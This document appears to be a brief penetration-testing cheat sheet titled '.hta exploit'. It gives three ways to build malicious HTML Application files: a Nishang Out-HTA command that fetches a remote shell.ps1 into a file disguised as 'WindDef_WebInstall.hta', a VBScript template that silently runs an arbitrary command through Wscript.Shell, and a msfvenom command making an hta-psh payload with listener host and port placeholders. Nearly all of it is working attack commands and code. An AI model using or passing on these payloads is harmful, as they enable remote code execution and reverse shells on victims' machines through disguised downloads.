# .hta exploit

### Nishang Out-HTA.ps1

**REQUIREMENT:**

* Needs a Windows system to generate payload.
* [samratashok/nishang/Out-HTA.ps1](https://github.com/samratashok/nishang/blob/master/Client/Out-HTA.ps1)

```bash
PS> . .\Out-HTA.ps1
PS> Out-HTA -PayloadURL http://IP/shell.ps1
HTA written to \WindDef_WebInstall.hta
```

### Manual Script

```bash
<script language="VBScript">
	Function DoStuff()
		Dim wsh
		Set wsh = CreateObject("Wscript.Shell")
		wsh.run "COMMAND"
		Set wsh = Nothing
	End Function

DoStuff
self.close
</script>
```

### msf

```bash
msfvenom -p OS_SPECIFIC_PAYLOAD LHOST= LPORT= -f hta-psh -o FILE.hta
```